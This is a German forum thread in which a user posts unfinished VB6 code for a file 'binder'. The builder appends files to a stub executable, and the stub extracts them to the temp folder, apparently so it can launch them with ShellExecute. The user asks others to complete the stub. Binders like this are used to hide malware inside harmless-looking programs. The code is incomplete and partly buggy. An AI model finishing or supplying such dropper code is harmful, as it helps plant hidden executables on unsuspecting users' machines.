[VB6] Frage zu Binder

[Z o D]

hab mir gestern ein Bindertut angeguckt,hab mir dann alles schön angeguckt und auch so gemacht,allerdings blieb das Video immer in der Mitte hängen ><
der code vom add- und bind-button müsste schon fertig sein,kann mir vielleicht jemand den rest des codes sagen?

Const FileSplit = "#<@>#"


Private Sub cmdAdd_Click()


With Dlg
.Filter = "All Files (*.*) | *.*"
.DialogTitle = "Select a file..."
.ShowOpen
End With

lsFiles.AddItem (Dlg.FileName)





End Sub

Private Sub cmdBuild_Click()

Dim sStub As String, sFiles As String, i As Integer

Open App.Path & "\stub.exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1


Open App.Path & "\boundfile.exe" For Binary As #1
Put #1, , sStub & FileSplit


For i = 1 To lsFiles.ListCount

Open lsFiles.List(i) For Binary As #2
sFiles = Space(LOF(2))
Get #1, , sFiles
Close #2

Put #1, , sFiles & FileSplit

Next i

Close #1

MsgBox "Finished!"

End Sub



Const FileSplit = "#<@>#"

Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
Dim sStub As String, sFiles() As String, i As Integer


Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

sStub = Space(LOF(1))

Get #1, , sStub
Close #1

sFiles = Split(sStub, FileSplit)

For i = 1 To UBound(sFiles())

Open Environ("tmp") & "\tmp" & i & ".exe" For Binary As #1

wie gehts ab hier weiter?


Next i






End Sub


mfg Z o D

[Epiphone]

gib ma den dl link für das tut!

weil hellsehen kann hier denk ich mal keiner!

[L!x]

Sehe ich genauso
Gib mal den link und wir Helfen dir

[Z o D]

hier:

http://rapidshare.com/files/11004497...orial.rar.html

und hier der thread in dem forum:

http://www.opensc.ws/snippets/3173-v...ual-basic.html

weiß nich ob nur bei mir das file kaputt ist oder so..habs auch aufm notebook getestet,da das gleiche.

weil im feedback schreibt keiner,dass es probleme mit dem tut gibt,vielleicht waren es ja aber auch nur +1 posts und sie haben sich das tut garnich angeguckt^^

Added after 26 hours 29 minutes:

ihr seid mir ne tolle hilfe :lol:

Added after 105 hours 2 minutes:

kann niemand mal helfen?